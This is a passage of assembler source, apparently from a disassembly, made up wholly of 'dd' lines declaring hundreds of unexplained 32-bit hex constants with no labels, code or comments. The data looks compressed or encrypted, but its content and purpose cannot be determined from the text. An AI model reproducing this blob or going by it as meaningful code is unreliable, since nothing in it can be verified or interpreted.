6C1D0A58h, 0E99305A5h dd 52F890D0h, 4295B5B2h, 87AFC24Fh, 3942C849h, 298BAEE2h dd 57F1661Bh, 830B756Bh, 44AB02C5h, 66174A16h, 6F22B30Fh dd 80C0A12Dh, 69D73F4h, 0A3EB80D5h, 57E9E328h, 5F16DE94h dd 0A27AB736h, 691F56A8h, 11EEBC2Ch, 26DE5901h, 0E27CE947h dd 0CD9C8D2Bh, 0E388024Eh, 0E2EB9A37h, 778B5AD1h, 43FA4DC3h dd 322A5C27h, 83273EDEh, 0B7E5E10Eh, 0B42EC3CEh, 0EEC12812h dd 0D87BCB04h, 305ABA09h, 71FC6813h, 0A1E0D935h, 0E70C44EFh dd 0FA68A808h, 0F75C011Ch, 8889FB05h, 132EB8ABh, 840D1342h dd 4A03B77Bh, 5BBD3905h, 3C8666ECh, 6E277F36h, 48F71822h dd 4903162Ch, 0C7958401h, 9275B453h, 6881694Eh, 655106E1h dd 4BFA2030h, 0E1634A55h, 0E34AEA13h, 25011156h, 29762F4Ch dd 25107FD3h, 0D7531BFCh dd 0F5D3668Fh, 81BB2FFAh, 3B6522Fh, 8353F743h, 0AAC3ABF3h dd 78C64A5Ah, 0B7875877h, 0A0AC9D67h, 1FB35352h, 2863B607h dd 0F0375BDEh, 0F38FCECCh, 91AD7707h, 7F03C468h, 0BA9D405Eh dd 131FE3Ah, 291531D0h, 62555F01h, 4B06D1F8h, 0E1D1B0D5h dd 90A5B3D3h, 0EB25C553h, 1651C346h, 30B3C0E6h, 14EE6817h dd 0DB49F596h, 0C6EEADC4h, 0CC2B82BDh, 7A59FE20h, 68C17256h dd 0CD26524Ch, 5F70C215h, 4A1AAD6Ah, 0F6E730FCh, 0DA3B5339h dd 0FEEE007Fh, 90A446Fh, 5FE925F2h, 2C5A8DE1h, 14F80D7Eh dd 41F0B92Ah, 29643BF5h, 3A081C68h, 0CC02C9A5h, 2955CB01h dd 98438E8h, 0A73AB5E6h, 0DFC2C3DEh, 6BB0D45Bh, 9417664h dd 2910B002h, 0F5F2FD89h, 0DBE858A0h, 2A1BBCABh, 0E90B5450h dd 102423C1h, 46F02468h, 0B5CA22C7h, 6FE25201h, 0D501F45Ah dd 0A7D38BFCh, 0A0DBBC27h, 0E2814A36h, 761A71C2h, 80F20B1Fh dd 81DFD67Eh, 614389BEh, 6B276060h, 58E86F55h, 0B3C0B2B7h dd 696E90EBh, 59BEC143h, 6F1D3E75h, 6808CF50h, 4BBE141Ch dd 0B05516A4h, 797701C1h, 0CBE922C2h, 82A24805h, 0C4A5BF8h dd 0E2C14700h, 4E836806h, 21BD3009h, 2C15FD43h, 7ABA5BE9h dd 0C6030604h, 33C7C140h, 307E333h, 10F9C82h, 0E074B71h dd 16DF606Eh, 31BE0199h, 183F5EF0h, 4EEFFE3Eh, 12798731h dd 93C95E9h, 2D406809h, 0A1823851h, 526C314Dh, 7A1123BEh dd 393DE985h, 0F05862F4h, 0E7426F0Ah, 4FF762CEh, 78A4DBE9h dd 3AAD9977h, 51503730h, 0D6B0968h, 1002729Ah, 0A1D6B33Fh dd 3133C84Fh, 6F5FF9C6h, 46F57637h, 98308F4Ch, 0D06DA32h dd 0CC20CA52h, 0CFFE0766h, 30B1F780h, 0FC2862EFh, 0E7024E98h dd 0E9350458h, 0C007C88Eh, 98056FEEh, 92EB6345h, 0FBD2DD50h dd 14B6A632h, 0C012C347h, 0F8613764h, 13A7AB44h, 21D25CA3h dd 2BB18BA8h, 5F54C088h, 106A8A5Ah, 7694BF57h, 383E7F07h dd 10FAF524h, 5F2508DDh, 885D4644h, 0F8495AF8h, 3602B48h dd 41C02C4Fh, 397CE175h, 84D1F196h, 0DD70AA62h, 40F2B8C3h dd 0BE5E0862h, 8929446Ah, 10B1D5E7h, 0ECEF0FF7h, 0B9CD3BFh dd 12AFCE86h, 0F141D1A5h, 0F226ED2Fh, 4D342F48h, 84E9D296h dd 5EAC74DAh, 9A5EE48h, 0AA442F7Bh, 0F9BE560Eh, 764B6974h dd 718FBC21h, 0D609798Dh, 13C9380h, 0E6FC681Bh, 0D333A60Ch dd 71FE283Dh, 29C704FDh, 0F085E9F3h, 440E0543h, 0A77A8E52h dd 14141FB2h, 2102C310h, 4F4D0F4Eh, 0E4DE6FE2h, 0F95B0B8Bh dd 23953E54h, 914E5150h, 7548102Fh, 0CFE0B9EEh, 829D080Bh dd 8B0885Dh, 856E6CF4h, 300C7574h, 1661E1E9h, 3D1178BAh dd 0A92D7DA2h, 0F7FB5E62h, 14624308h, 0CDCB99B9h, 290A8CA9h dd 0C9B800ABh, 0F712B126h, 7A05D800h, 0E943F65Fh, 125AB287h dd 0A8142868h, 5750C09Fh, 911D1FE9h, 0E3180243h, 0A580F665h dd 4F6E3844h, 0EEB92950h, 685A08A0h, 7A7F0D09h, 0E97D483Fh dd 0D30A4BA0h, 0C8C1238Fh, 17F4CDAh, 683C6895h, 0C9BBE7A6h dd 0ABDD69B0h, 6F7A627Ah, 869AE55Ch, 942939DCh, 0C783841Bh dd 8F818802h, 0C78A67D7h, 2912B056h, 975C06F8h, 312101Ah dd 0F6FC5901h, 0BF026D88h, 0C03C464Bh, 0E2B9C73Eh, 2DBD00C3h dd 74FE0C97h, 551F801h, 964F7907h, 0D5B45CF2h, 0A1A6FCF9h dd 612F5DE8h, 41790BBh, 0EDE81A8Dh, 443DBB3Bh, 0EE11F48Fh dd 0F57F4763h, 387424D2h, 80A8222Bh, 7AC3D8EBh, 0F10117E8h dd 0FCA4845Eh, 0B7E5F6E7h, 9F60532Ch, 16216E41h, 2B27E829h dd 0DCF92B69h, 218031A3h, 4D949FCFh, 3B95104h, 0A7C0FA12h dd 27658C9h, 414942A0h, 5B6AD1E9h, 4C023A56h, 0A468927Ch dd 49C32DE8h, 17E9D177h, 5F88BB24h, 0EB9C82DDh, 0A4BD0F5Ah dd 6B9046C9h, 79B226B1h, 0F25C254Ch, 662D2DD9h, 51C8596Ch dd 7E1F6882h, 31275971h, 7DA80F29h, 44020C97h, 7C0C0851h dd 1C4025ECh, 160BF426h, 0F5D101C9h, 5F6D23B6h, 0C1163424h dd 2196A5A6h, 212C093h, 9F307159h, 87BE565Eh, 0CFC3C741h dd 12108709h, 213758C7h, 0E4D42DF8h, 503365D2h, 0C552D46h dd 18752F1Ah, 0F34668E9h, 80463623h, 334FD04Fh, 1B23E156h dd 5A0CA001h, 68DF985Dh, 933F4B25h, 85540F7Fh, 877D234h dd 5F162898h, 892485A3h, 0FD00828h, 24EC3112h, 1B49D835h dd 75D22F9Ch, 4D98C178h, 240AAD68h, 51C1D864h, 1C81EAD7h dd 0FE5AD308h, 2772E8CBh, 0CCECD9CAh, 5DBA644Fh, 7D60AC8Dh dd 0C5C28211h, 28F3F700h, 317ED40Bh, 602CB326h, 8B73B282h dd 8357E19h, 0F825F36Bh, 9982689Fh, 915FECB7h, 6FBFDF64h dd 0A87A1353h, 0F25732E3h, 84710B37h, 702819Fh, 55522708h dd 3E084D28h, 0BE8FAA7h, 731224EBh, 0E6271CFEh, 78D07CF4h dd 0C5BD4B8h, 0D8BE61AFh, 0C65E290Bh, 55479529h, 68AA34B4h dd 134FE943h, 4DB10C13h, 9288B2Eh, 446F9A68h, 457CA43Bh dd 0D716058h, 3853FD40h, 0DE3D35B3h, 54BA7E13h, 3C5BEDF2h dd 0A6EE99Ah, 2D580232h, 0F895533h, 102925Eh, 4BDAE9CAh dd 0B50598DDh, 28944819h, 41C7C217h, 8113A15Bh, 0B9CA203Ch dd 83492D02h, 5A37E97Bh, 1E70EC8Fh, 0D5668F5Bh, 0A50A392h dd 0A849FA07h, 394F68D3h, 42C92767h, 16D15225h, 0D1351542h dd 0E9024647h, 1CBB5304h, 5B81D978h, 2901C15Ah, 2431DDEAh dd 0D9935F2Bh, 3F10BB24h, 0CBB05B27h, 0D305B252h, 0D730F4B7h dd 0BE8DD81h, 0F9CE8C2Eh, 92F5801Ch, 13F07025h, 95153F8h dd 0F678DBF6h, 801CB207h, 14A27EF2h, 3BEBD5h, 0FAF181B0h dd 1F30D2Dh, 93A3CF4Dh, 20495908h, 266670A7h, 2FA1D47h dd 0BAF0669h, 804070FCh, 79399E38h, 0C0F773D1h, 84113E14h dd 964FE9B9h, 7880BD12h, 909D9CEDh, 1ED62716h, 682D79E5h dd 0EA5BFD47h, 4127B8EEh, 2EA0403Eh, 3F4D2108h, 37067664h dd 2965AA3Dh, 0A46CF811h, 54584F0Ch, 0D5BE9CFh, 0CC4A5254h dd 484C1D6Fh, 0D7A168C3h, 0EA42A917h, 40B5F4B3h, 0A5577219h dd 0C5263EF6h, 17684237h, 0E96158FCh, 783E601Ch, 3448894Bh dd 506D3A0h, 3C852610h, 0EC2CC009h, 0D3F68905h, 80430200h dd 0E2E6DACAh, 3BE76850h, 0CE95E910h, 0EEE4FF6Ch, 5E380369h dd 0F65CE325h, 235DBAFCh, 5713922Ch, 0CA847AB8h, 0B51D163Fh dd 276808CBh, 0BD21552Fh, 43DA6B24h, 0D85DCB61h, 7EEFF281h dd 2070982Bh, 547E49C3h, 5579F99Eh, 1EE94941h, 0F7091B3Ch dd 97004FDFh, 6F987E13h, 67E3C12Eh, 5B5FB902h, 0E0C0845Eh dd 582B41BCh, 129324C1h, 2CC3A1BAh, 0C9EF1615h, 0E6D862F1h dd 3BCEF2BFh, 80CC0ECh, 30ADEF6h, 0AD5CC6FCh, 0ACC2603h dd 0E31DA5A0h, 0ED8149F9h, 1A257145h, 8F721402h, 2DF14454h dd 0C3016B0Eh, 1720B611h, 0EEE9F029h, 6510B51Eh, 43485B68h dd 4E23D4D3h, 0D4FDFD12h, 2C2D1310h, 94014743h, 533A746Dh dd 2F010C28h, 0E91EEE32h, 0BBAD6430h, 79DA3Ch, 81D3F711h dd 30355EE3h, 0C60C62CAh, 0B17C330h, 0BAC0E6E9h, 97527A68h dd 4771A8E6h, 34C7C595h, 7821AE91h, 0A8ADF986h, 9D3EE99h dd 100A9F5h, 420A05D8h, 0C606DC12h, 9115B009h, 3FC56216h dd 0F4B2016Eh, 30275D2Fh, 0CCF30316h, 5A1D535Ch, 80FD4115h dd 215F675Eh, 0E659CD29h, 685D0BE8h, 1BF163ECh, 1502BBACh dd 5D437C38h, 0FCBD8800h, 900B9B59h, 9A1AF1E9h, 6F3498F7h dd 44AED5AFh, 4DF0A09Bh dd 0E92E3727h, 219729F2h, 31D8550Ch, 61F07231h, 0BE6808C6h dd 0B346540Dh, 0B68C1229h, 40B3D0F4h, 0DCF85626h, 57C10097h dd 3553A568h, 0E0A60513h, 97B628E9h, 6D048816h, 5E83F3B7h dd 50CFE077h, 0E92E1DB0h, 2CD227B8h, 0BF575501h, 4C433077h dd 0C22DFDE5h, 10449011h, 0BB364220h, 0BF007C9Dh, 6818330Bh dd 82E546E9h, 902AB7Dh, 25EF7689h, 0B9F62966h, 0D78D175Ah dd 4F7FCA39h, 1CCD8E41h, 0DD82EB31h, 0D64DBDE9h, 30DC493Ch dd 0CDD508h, 51EFCE81h, 0CC17227h, 3B6275D6h, 142DF000h dd 0AD87674Ah, 0ACEF1F00h, 13AE2DE9h, 0AA986494h, 79257A94h dd 0C95C45A2h, 0A35C0192h, 455E005Bh, 5CBA0152h, 0F73E8B09h dd 81DAC8D2h, 6C5BEA00h, 4CE9C708h, 603096E2h, 3A166876h dd 0C64D8F98h, 28015AB4h, 3CEA05F7h, 1F244C20h, 12DD337h dd 16EDCE6h, 6F026131h, 0A5875408h, 0B433090Fh, 0A8415AD6h dd 72AE107Ah, 4502DECBh, 29045732h, 6221486h, 78642EABh dd 8509844Bh, 806AD86Ch, 0B79E2920h, 756A9760h, 3C3497C1h dd 94DA42F2h, 1CF205Ch, 3E5B1DBBh, 0F0DA212Eh, 19B4E46Dh dd 5E648282h, 956A0947h, 0E90586FBh, 3EC4A29h, 8EE3D1C6h dd 0F23A8F12h, 0E29A7A0Bh, 0E2395599h, 6F8375ECh, 50683F67h dd 9B92D1E9h, 48D504Dh, 56117C01h, 583DA4C8h, 0AF840826h dd 72D6B948h, 7B273400h, 9EFBB59h, 1FB1786h, 387116CBh dd 0E92550EAh, 2CDA40F0h, 0B5682548h, 0B78C0F59h, 25E93728h dd 0B6E63EBCh, 0A5B1EC2Dh, 84B95B3Ah, 102DE9E0h, 598BE7BCh dd 69750F53h, 519C42BBh, 94C39211h, 0E93AC1FEh, 7ACE35F5h dd 69327B2Ch, 0E8301CA7h, 9BF1E68h, 4A177175h, 0E96C2F32h dd 20C86F2Fh, 0D82802CFh, 0D3B30553h, 0C103E3C0h, 9DEB8044h dd 0F343CB90h, 909604E5h, 4E74E9B5h, 50E6F649h, 0AB41BAFFh dd 6EFC392Fh, 68530960h, 5402142Fh, 73138864h, 8413A239h dd 0D199D4EFh, 0D19AEh, 652F7F62h, 7A003825h, 0D0F70F4Eh dd 1E0C148h, 64E70508h, 7F012FBAh, 0D1844867h, 7F9897C0h dd 7F7848C7h, 941EE402h, 1B604753h, 0C22618DEh, 74011760h dd 16AD537h, 0B852066Fh, 71EA92AAh, 660AA660h, 7F81B652h dd 69F32551h, 0C6033C52h, 5F5E0648h, 0D460E501h, 99CCF8E9h dd 97949C7h, 200BE98Bh, 0FD305989h, 1349066h, 0ED8009B3h dd 0D5DD2807h, 1677D6C5h, 0A92C270Dh, 5229576Eh, 68003151h dd 476038D5h, 3E30985Bh, 0C814ACF3h, 0D7008169h, 21030165h dd 0B575E9D3h, 2568D7C2h, 6692547Eh, 4F4BA97Ah, 0C12184C7h dd 0AB4006E7h, 93BF387h, 5FFD01C0h, 81BDB654h, 0E94F396Ch dd 0A9A6BC47h, 60330759h, 0E151B415h, 91642FAAh, 2913AEE9h dd 7FB6A95Ch, 6525A1BCh, 3E6727DDh, 42230212h, 0B3591466h dd 0F001DF94h, 2867EE80h, 38275DF3h, 0B2F2F3Dh, 4B02F35h dd 0F9133F39h, 614BDFB6h, 0C7F3C8FCh, 50279610h, 407168C2h dd 0D3898027h, 6F290BF4h, 68C12F5Ch, 5B935ADAh, 9BEF15Bh dd 0C12D5819h, 6D03EF2Ch, 0EC41BD10h, 8812D4FEh, 4A3B5B55h dd 0DC210C4h, 57C50CC7h, 189C88F2h, 10B16804h, 62C122ECh dd 207E7D27h, 3604792Bh, 0C5E9A42Dh, 801F01B8h, 0E5C0C1F5h dd 0E3CDFE08h, 638E7EBh, 5E82C02h, 60E17249h, 23A1E281h dd 9EC464D4h, 5B0C563Fh, 30247B4Ch, 0D81212E8h, 0E4585098h dd 897BBE11h, 0A671A4AEh, 44258A82h, 52F9492Ch, 4A924C30h dd 0CA064058h, 0F74D5A05h, 7020D15Fh, 287F0CBAh, 5AD95E98h dd 0DD51D84Bh, 0E93A989Dh, 4F2C4B72h, 1F501E15h, 4D57FA31h dd 0BEB8B340h, 0C059664Bh, 500D0A74h, 0E1048123h, 16B157D0h dd 0AF367A80h, 299C1690h, 0FBDCAC8h, 0A202A125h, 689CE91Bh dd 4B2D6836h, 0CC343153h, 0CEF46840h, 42E594E3h, 889027B8h dd 7B25A747h, 0B05000ABh, 0E9C0FE2Ah, 0E981214Ah, 0ECE04DB4h dd 206CF05h, 0DCF6CCE0h, 7740C480h, 0E3E05Dh, 5BDA3058h dd 79E9D028h, 51994D54h, 402AEC98h, 68C95218h, 0B293825Bh dd 0FABA84C4h, 0ACCA5213h, 415CF260h, 5BAD549Fh, 0B7B51C22h dd 0DD895D01h, 0CD101A21h, 0E601E480h, 3CE870ECh, 0EF8658E7h dd 7CF83039h, 180514Ch, 0EA884FB5h, 0A76CA3E9h, 218BC049h dd 0CC962BCCh, 1DE708h, 814FD7F7h, 9B1F1BEFh, 38898672h dd 0C755A6D0h, 413C41B8h, 3B677FA3h, 8305BF91h, 0C808231h dd 0FD883504h, 0C2F2601Bh, 5CC96094h, 6CD8496Eh, 72934F12h dd 0DC5150Dh, 58832264h, 0D3A8C3h, 30531153h, 2630E933h dd 0FC8894A3h, 57B1B55Bh, 0C886021Ch, 5DD2E9DEh, 0A99330D1h dd 5954C42Bh, 56D261EFh, 0ABD0451h, 0C965B61Eh, 86C45012h dd 0DB539197h, 66279068h, 10BEEF51h, 592A4FF2h, 0C7F59680h dd 7F6AFB21h, 0CAB18B96h, 811BFA25h, 0DDE056EDh, 369397B5h dd 65341213h, 7AB147B8h, 53C58717h, 0F8078BB7h, 0E9735B66h dd 0E9A15B6Ch, 0E8162A69h, 0DF091DF2h, 7AE38247h, 3BCF4D90h dd 21F1294Fh, 15E0800h, 505D0BEEh, 7629BFE9h, 0E961937Bh dd 3139CA01h, 0E4B6B213h, 127042F6h, 0E1010690h, 69E7640Bh dd 4031D9F7h, 4F705F2Fh, 30D30868h, 1DBD5555h, 29B00E00h dd 58D7CD81h, 614B4C90h, 85A4A524h, 0F65EF701h, 0E9257973h dd 0F9ACC23Ch, 0A792BD8Bh, 0C6D2D02Bh, 6D58712Ah, 115C04B3h dd 7E836C18h, 97315A48h, 0A1DC92EBh, 6846AF5Ch, 0D373800Ch dd 6F259409h, 1121D42Bh, 827F83ADh, 0D5840FDEh, 0E91B68E8h dd 51C36241h, 40415FF9h, 7C2F794Eh, 0DE8707C7h, 0D2F7D321h dd 811008B0h, 0A5057EEEh, 0F289C334h, 5F319D98h, 0DD7DD8D0h dd 8D2B1641h, 9562A71h, 0F8267E4Bh, 0A1664980h, 99C301E4h dd 20332F15h, 0DCB950Fh, 98870901h, 5BE53021h, 2E61658h dd 0F3882B4Ah, 0D9C14A93h, 59CFEC5Bh, 1E70ADB0h, 75B0FD4Ch dd 586B2878h, 5F3E2052h, 7A304A89h, 0D5532D59h, 0A995A56Bh dd 0AD5D7CB0h, 35B74BECh, 834E8B41h, 0BCF08A12h, 65EFDCC6h dd 0E8FBB5E2h, 0F4A4E400h, 0B3050258h, 576BEE78h, 56BABD6h dd 71AE4DACh, 0CBF768CAh, 0C3858732h, 0D90641ACh, 50FC0165h dd 49DC9E40h, 1FAA5C00h, 0BD005A37h, 0F1A7650Fh, 0BF09D7E9h dd 0C0854DA0h, 0FE2F05E1h, 0F14CE0C1h, 1EBE654h, 66CB2852h dd 3A4D5E68h, 0FCF20789h, 0FD58129Eh, 0E9E86102h, 103629F7h dd 84F79h, 211FBF2Eh, 0D1126951h, 0D6A847E7h, 4A311275h dd 0F8BAA4D3h, 0B7F2AE28h, 386E0302h, 42FE0176h, 5F080458h dd 0ECA962EBh, 56D78977h, 4F794B4Ch, 36CFBDC0h, 3E22485Eh dd 216D43Ah, 14301860h, 40954B5Dh, 0F6257EB0h, 0E9E00DD1h dd 2E5D6163h, 0F51255CBh, 4A8FBC9Fh, 0BA261AF6h, 4F84C06Ah dd 0FB943CD2h, 5A5C08A0h, 5F640511h, 41A80DE4h, 0F078F809h dd 1536BA03h, 0C7EB4303h, 0DA102811h, 1E8FD0F6h, 65EE6850h dd 802004FBh, 30A46DB7h, 0AEE95C0Dh, 0BCF3CD4Bh, 86DE4079h dd 70F6EEA1h, 79FB9B65h, 235E776Dh, 1BE63813h, 0D2B6B9D0h dd 0CE0FF100h, 0E2C14236h, 0F2810E07h, 67A9F904h, 0E9D6AD00h dd 58815B44h, 2E1853Ch, 0D2F139D5h, 91D39FA8h, 0A762C047h dd 19F82299h, 487D7416h, 0E85803A6h, 7BF1AECDh, 0B2A46445h dd 0C2FED709h, 75218366h, 580C0608h, 603E2C0h, 70F480F2h dd 5AD48807h, 0F483E4D0h, 60E1C2A4h, 80E79136h, 98A0EF89h dd 8AA82865h, 23171FE2h dd 0F000548Dh, 4FB93E42h, 0B480BF57h, 0BF50012Dh, 63295806h dd 0B740315Ch, 6EC46BC8h, 0EE9718B5h, 0AFEDB1B7h, 0EBFCAC09h dd 4E0BDC7Ah, 0CE47080Ch, 0F0215902h, 5C262EE9h, 50286F13h dd 0F3060225h, 0C810D760h, 18DACF87h, 5DEDC808h, 60F50281h dd 314BBF6Bh, 14BF3858h, 69369CA3h, 109F4301h, 0F8E6925Ah dd 92C2F80Bh, 9ADDC1D7h, 363C20D5h, 0D449C00h, 9FC1E937h dd 44EFF5C9h, 8414972Dh, 2FE9CB44h, 0DCEEED38h, 0D332597h dd 11D84B8h, 0E65ACBC6h, 0C8311122h, 59432082h, 5B2CF9DBh dd 9330140Bh, 1E8474F8h, 341620BFh, 52F909CEh, 0F4B07D53h dd 13B84D25h, 3DFF73Fh, 0F6369171h, 4F0B2876h, 810E6A6Dh dd 901AB3Ah, 26CE8B40h, 467F0438h, 0D1331AE9h, 6F6422EAh dd 6ABC2CCCh, 0CD7674Ah, 0D3CAAE0Bh, 869C9CCBh, 7129D50h dd 2D757AB8h, 0F027A430h, 0A0FBF13h, 49141B63h, 0D5D2A1Fh dd 8C07C42Dh, 20FFB8E3h, 7AEA0848h, 0EE805BC0h, 76F730C3h dd 0F2F4E65Ah, 0E9AB19EFh, 0D9535549h, 82172FA2h, 256890D8h dd 565112A9h, 815D648Eh, 4C87E97Fh, 270F258Bh, 18A77A71h dd 0F6E8832Eh, 2D46BB87h, 0C6640CF2h, 0D1A1027Ah, 4F058F7Bh dd 1704FCA2h, 85252E78h, 0CA26C173h, 0E49D3E4Fh, 0CDA0BDEFh dd 0FC3BAC8Fh, 2D9C5DEFh, 8F5A854Dh, 543767C8h, 25EF2B93h dd 66F03132h, 6F29C25Bh, 0FA72816Ah, 0DFD53464h, 0A6BE19C0h dd 905A6346h, 8513F18h, 40BBE473h, 7A1EB516h, 12C93EB2h dd 61AD560Eh, 5A7F6268h, 93E90BABh, 0C92AAE11h, 518AE222h dd 0F4544B9Eh, 664EB462h, 88DB91B2h, 0A72CEBD0h, 5B845F45h dd 0F6012412h, 0D24009EFh, 0F1C701F8h, 850888CAh, 61215E5Ah dd 9D58C729h, 0C1EFE9D3h, 2B312189h, 6885437Fh, 0D52769F1h dd 74B40945h, 0E0F25379h, 30137656h, 0BB1054ECh, 0B3530F12h dd 44BD053Dh, 5F2FE4E3h, 0E918D5ECh, 0B45E9BF2h, 0E32816C1h dd 787BBD58h, 163EA1B8h, 0E92C775Ah, 2D803998h, 3BF1E13h dd 186A2C05h, 5A25033Ch, 0E9894B46h, 290C6AD4h, 49076280h dd 1F10FA8Ah, 91F54046h, 0C2F3AE4Eh, 0E4C55527h, 1A8DE904h dd 6CB86802h, 69979779h, 0D801A987h, 8542612Ch, 0C000094Dh dd 2FD2460h, 57895D1Dh, 471E34A4h, 10B67180h, 98D23192h dd 4905598Bh, 99738F41h, 3628277Dh, 0EB05CC72h, 63967A84h dd 0A0724BB8h, 9570E908h, 2F0C1044h, 226EE516h, 5F7F98D5h dd 832D0291h, 0A55C04EDh, 947BD266h, 8560A503h, 0C01989C7h dd 0AB0C06E7h, 0BB020402h, 2DD46028h, 5641820Fh, 0A6CFF401h dd 3E4BFFF6h, 76EC6FDDh, 74459FD5h, 0DC8B752Eh, 1EEFD2D9h dd 8D92B450h, 60F757CDh, 515987EEh, 96208AE0h, 2526499h dd 0F188A141h, 509CED05h, 212E488Bh, 0C701AF08h, 0B099C573h dd 76078743h, 64FC78A5h, 0A2CD5AEAh, 0F7218F4Dh, 0CBDD87ECh dd 8A14D794h, 8795FAF6h, 0B3644F8Eh, 8AB247D7h, 210F519Ah dd 23E28B24h, 3796317Eh, 0D5DC8A3h, 77E95F81h, 18C86B2Fh dd 5DC77AFEh, 66163C62h, 0BD35881h, 0A5B0ECE8h, 1C428FB4h dd 4F4DFE9Ch, 0DC5AEB0Bh, 4CBD64Ch, 0BC5572E0h, 0DB5659C2h dd 70150C53h, 679AA4E3h, 127B315Ch, 0F3A4C663h, 753C059Dh dd 804F4773h, 676DAE02h, 5DC634Ch, 3A4E2C0Fh, 441FB501h dd 0F1D56048h, 2E99182Eh, 0BD126F58h, 3E1C29C6h, 684BF9EDh dd 230A00DFh, 0F7294871h, 802EDA2h, 6CE9CBE9h, 0A2F3A758h dd 0F1BC06ECh, 0C416B4FAh, 0AC6A8517h, 16099E92h, 6D295119h dd 9D017E08h, 53F40C70h, 0A2F62420h, 75D94107h, 0BD55F050h dd 712712DCh, 0D890046Eh, 0EBB9808Eh, 0F4656FE9h, 25AFE071h dd 6686A0CAh, 0D956817h, 0CBF31EC8h, 124934BAh, 93107C99h dd 40CD6AF0h, 0C30C0555h, 0D4578C6Dh, 324299D8h, 0D306E496h dd 6462B0F4h, 0BB5C4945h, 4F5C023Dh, 600D417Ch, 6D74D4Dh dd 5A8928F8h, 0BD075558h, 67E04550h, 87E089A5h, 435B03BBh dd 5FB9352Dh, 5EB80B7Fh, 200CE69Dh, 510F41E5h, 245E5956h dd 7FD9B555h, 9D0EC4EAh, 88CE328Bh, 28F5527Bh, 4EBE0714h dd 81A0A46Ch, 28916BEEh, 5B8AF9A9h, 92FAF253h, 9667688h dd 5453F1F7h, 0F1359F6h, 9DEDD2B4h, 787C916Ah, 0BFD66850h dd 5DF0E848h, 0E5575380h, 24591EF4h, 80D4796h, 738CBCCh dd 0CA2058E1h, 87F280E1h, 0C69442FAh, 7C5A094Ah, 468D47F9h dd 0B68F0B3h, 7A24347Bh, 2C3FD45Eh, 99AD9F8Fh, 0A2315B27h dd 9D0F8EF8h, 0D832D767h, 3FB178F5h, 0CDCABB68h, 12477EE5h dd 8D45C01h, 2DE9CEE4h, 0A726A1D8h, 1A9697F7h, 0F25E6Bh dd 544E363Dh, 0C912C7BEh, 0AE4ABB1h, 1A3509EFh, 0D8253392h dd 5E080BC7h, 0AB163790h, 95572980h, 0D7689548h, 2CE92A40h dd 0C6B428A7h, 5424313Ah, 6B127A5Eh, 4833D5E0h, 0F2E56304h dd 545582BAh, 0F028FE5Dh, 0AA54C2E9h, 344B5898h, 9490D28Ch dd 82521FA8h, 29A56B5Eh, 0B4879182h, 0F1731A56h, 4F88C6F3h dd 0F43A6CA5h, 181F6D62h, 0AD5904E8h, 0B64898D8h, 0F680130Eh dd 303BE178h, 2980A071h, 2F5D73EBh, 6CD051C3h, 5BF60D2Eh dd 9F53F913h, 24DF93F3h, 9FC5AB1h, 0D1ADE965h, 0F878294Eh dd 0DB940E9Ch, 0C8B70FE0h, 265D2B68h, 97A039D7h, 78E0B817h dd 0D00165FCh, 0AC068A2Dh, 1D6EE419h, 66CF32D8h, 0AA3048FFh dd 1E89962Ah, 5722EA80h, 880F47F8h, 0B9E525D4h, 452C1089h dd 0D2685A1Dh, 2621E334h, 80A8818Eh, 29F2602Dh, 4E0C042Eh dd 7F01C6A0h, 9A4934FDh, 4F58C071h, 727CD934h, 9F419831h dd 0FD305FFAh, 7CA0CC2h, 430C3F1Eh, 8654F0Fh, 0F4109701h dd 140C6808h, 0E29EF528h, 405A2424h, 0C4CAF56h, 0F0891017h dd 0E2E5E923h, 86555902h, 32F58F9h, 0DC7EFBF6h, 0BEE14E20h dd 786E63C9h, 3E86A055h, 0C90241Eh, 9A5D9350h, 0F25E52D7h dd 92CF1A40h, 0E3882DA8h, 0F362A2E2h, 893B6078h, 42FDA7D3h dd 963F6A28h, 12AA991Dh, 0F4CAE85Dh, 4102B2C8h, 7168434Dh dd 87BE76C1h, 68B42D5Ah, 0E3A45C97h, 7F5D0892h, 7DAC7E20h dd 8D980215h, 0F2512E60h, 17D0215Eh, 0D077FF5Ah, 0F63BE9EAh dd 0D155B39Dh, 0C18FF7C0h, 4EB858C6h, 1146692h, 65072DF0h dd 0EAEC5E43h, 8241F9D3h, 466B1168h, 5E8F636Fh, 0F10155AEh dd 1A076EC5h, 4D6C2913h, 1CA70841h, 785A07E9h, 0EC574ACFh dd 40766AC8h, 0FB770195h, 86B8D52Ch, 97265AC4h, 0BA5D32C8h dd 0F40B58B4h, 9F4FA4D4h, 8AEC58DDh, 0A7129545h, 0C7188EDBh dd 25840F29h, 8DC4EFF0h, 2D055658h, 35087B59h, 0E4A48736h dd 5EF344EDh, 81DB05EAh, 0DB30BBEBh, 246E647Ch, 8C425Fh dd 17A45D51h, 0D279F74Ah, 0DC4FF200h, 0D3319EEEh, 0AA945Ah dd 0E9CF6AEDh, 0FEBC2E73h, 330611D2h, 2625C52Dh, 0CB075CC6h dd 154EA45h, 0A050D18Bh, 0BE92C0Ch, 942AC8Eh, 49F60926h dd 0B20F0F46h, 0D75FFE92h, 0F7218CD7h, 4D7EDE5Ch, 0C3745F0Bh dd 24AE5ACh, 5829680Ch, 3F2A906Ch, 772ACE16h, 0F9829894h dd 5A97BA77h, 0B9B825AFh, 7BFE310h, 8CA650Fh, 27A59651h dd 0CD30A271h, 23420A0Ah, 1CC8833Ah, 1CA3E4C1h, 0BA07E025h dd 27E01037h, 18AC0EA3h, 24E8C158h, 758223CBh, 8103FCA0h dd 121D3AE7h, 89BC28DCh, 14C454Fh, 0A0A1C76Eh, 9F3188E8h dd 2AAFD2C1h, 680B76F3h, 0B6441C84h, 0DFFC1A95h, 0F77A8EABh dd 0BEAB0497h, 385F7FB8h dd 4173687Bh, 4317EE91h, 0B397CEE9h, 2BB8D3BCh, 107EB2A4h dd 0AC01DE9Ch, 0E368622Ch, 1D618951h, 326471D7h, 125D972Ah dd 0FA5F25Ah, 57B476D6h, 2B60836h, 0E3985693h, 0C17B4BE9h dd 6BF76699h, 939B845Eh, 53AEF4EDh, 7FD78AE2h, 1A22F109h dd 5C57E00Dh, 7325B4F3h, 0BC7DE39Ah, 69B39091h, 0E847740h dd 0AB9894B9h, 4A1B780h, 0A0E3A0ACh, 782881CAh, 0B5D62ECAh dd 795862A7h, 0DBE941CBh, 0F4607FADh, 275FF889h, 9F4AB850h dd 0E908C3A1h, 0BA7E2470h, 60745817h, 8BAC6180h, 1A00E9Fh dd 0F016E9D6h, 3E03B7B4h, 0F828AA04h, 0ACB4A52Ch, 7A4D2468h dd 8B76A10h, 411CAF56h, 0F025465h, 44F39E29h, 